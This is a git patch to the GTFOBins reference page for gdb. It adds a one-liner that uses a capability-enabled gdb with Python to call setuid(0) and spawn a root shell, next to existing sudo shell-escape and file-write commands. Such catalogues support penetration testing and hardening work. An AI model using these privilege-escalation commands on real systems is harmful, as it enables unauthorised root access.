From aed737131ca63ad6d273ad4918eae78b3775f0ed Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Thu, 13 Sep 2018 14:44:59 +0200 Subject: [PATCH] Add capabilities to gdb --- _gtfobins/gdb.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/_gtfobins/gdb.md b/_gtfobins/gdb.md index 984d42e..34b1364 100644 --- a/_gtfobins/gdb.md +++ b/_gtfobins/gdb.md @@ -12,4 +12,7 @@ functions: gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit sudo-enabled: - code: sudo gdb -nx -ex '!sh' -ex quit + capabilities-enabled: + - description: Only if it has been compiled with Python support. + code: ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit ---